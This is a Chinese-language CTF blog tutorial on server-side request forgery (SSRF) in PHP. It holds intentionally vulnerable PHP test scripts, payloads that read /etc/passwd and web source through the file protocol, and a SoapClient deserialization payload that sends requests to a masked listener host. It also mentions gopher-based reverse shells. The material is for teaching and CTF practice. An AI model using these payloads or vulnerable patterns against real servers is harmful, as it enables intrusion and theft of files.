CTF-SSRF


Web-SSRF


一·SSRF简介

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,利用服务器端发起的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务器端发起的,所以服务器能请求到与自身相连而外网隔离的内部系统)

Example:

GET /index.php?url=http://google.com/ HTTP/1.1 Host: example.com

在这里,http://example.com 从它的服务器获取 http://google.com

容易出现SSRF的地方有:

社交分享功能:获取超链接的标题等内容进行显示
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:给网址翻译对应网页的内容
图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
数据库内置功能:数据库的比如mongodb的copyDatabase函数
邮件系统:比如接收邮件服务器地址
编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
从远程服务器请求资源

SSRF漏洞的危害:

对外网、服务器所在内网、服务器本地进行端口扫描,获取一些服务的banner信息等。
攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等
对内网Web应用进行指纹识别,识别企业内部的资产信息。
攻击内外网的Web应用,主要是使用HTTP GET/POST请求就可以实现的攻击,如sql注入、文件上传等。
利用file协议读取服务器本地文件等。
进行跳板攻击等。

二·SSRF漏洞相关函数和类

  • file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。

  • readfile():输出一个文件的内容。

  • fsockopen():打开一个网络连接或者一个Unix 套接字连接。

  • curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。

  • fopen():打开一个文件文件或者 URL。

  • ……

    上述函数函数使用不当会造成SSRF漏洞。 此外,PHP原生类SoapClient在触发反序列化时可导致SSRF。

file_get_contents()

测试代码:

// ssrf.php
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

上述测试代码中,file_get_contents() 函数将整个文件或一个url所指向的文件读入一个字符串中,并展示给用户,我们构造类似 ssrf.php?url=../../../../../etc/passwd 的paylaod即可读取服务器本地的任意文件。

readfile()函数与file_get_contents()函数相似。

fsockopen()

fsockopen($hostname,$port,$errno,$errstr,$timeout) 用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。
fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。

测试代码:

// ssrf.php
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

构造 ssrf.php?url=www.baidu.com 即可成功触发ssrf并返回百度主页

但是该函数的SSRF无法读取本地文件。

curl_exec()

curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。

测试代码:

// ssrf.php
<?php 
if (isset($_GET['url'])){
	$link = $_GET['url'];
	$curlobj = curl_init(); // 创建新的 cURL 资源
	curl_setopt($curlobj, CURLOPT_POST, 0);
	curl_setopt($curlobj,CURLOPT_URL,$link);
	curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
	$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
	curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
 
	// $filename = './curled/'.rand().'.txt';
	// file_put_contents($filename, $result); 
	echo $result;
}
?>

构造 ssrf.php?url=www.baidu.com 即可成功触发ssrf并返回百度主页

也可以使用file协议读取本地文件

SoapClient

SOAP是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。

SoapClient是一个php的内置类,当其进行反序列化时,如果触发了该类中的 __call 方法,那么 __call 便方法可以发送HTTP和HTTPS请求。该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而 uri 是SOAP服务的目标命名空间。

知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数为一个包含location和uri的数组,location选项的值设置为target_url:

// ssrf.php
<?php
$a = new SoapClient(null,array('uri'=>'http://47.xxx.xxx.72:2333', 'location'=>'http://47.xxx.xxx.72:2333/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

47.xxx.xxx.72监听2333端口,访问ssrf.php,即可在47.xxx.xxx.72上得到访问的数据:

由于它仅限于http/https协议,所以用处不是很大。但是如果这里的http头部还存在crlf漏洞,那么我们就可以进行ssrf+crlf,注入或修改一些http请求头,详情请看:《SoapClient+crlf组合拳进行SSRF》

三·SSRF漏洞利用的相关协议

SSRF漏洞的利用所涉及的协议有:

  • file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
  • dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
  • gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
  • http/s协议:探测内网主机存活

下面我们对这些协议的利用进行逐一演示。

常见利用方式(file、http/s和dict协议)

SSRF的利用主要就是读取内网文件、探测内网主机存活、扫描内网端口、攻击内网其他应用等,而这些利用的手法无一不与这些协议息息相关。

以下几个演示所用的测试代码:

// ssrf.php
<?php 
if (isset($_GET['url'])){
	$link = $_GET['url'];
	$curlobj = curl_init(); // 创建新的 cURL 资源
	curl_setopt($curlobj, CURLOPT_POST, 0);
	curl_setopt($curlobj,CURLOPT_URL,$link);
	curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
	$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
	curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
 
	// $filename = './curled/'.rand().'.txt';
	// file_put_contents($filename, $result); 
	echo $result;
}
?>
读取内网文件(file协议)

我们构造如下payload,即可将服务器上的本地文件及网站源码读取出来:

ssrf.php?url=file:///etc/passwd
ssrf.php?url=file:///var/www/html/flag.php
探测内网主机存活(http/s协议)

一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。

域网IP地址范围分三类,以下IP段为内网IP段:

C类:192.168.0.0 - 192.168.255.255 

B类:172.16.0.0 - 172.31.255.255 

A类:10.0.0.0 - 10.255.255.255

测试环境如下:


文章作者: Cu3tuv0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Cu3tuv0 !
评论
  目录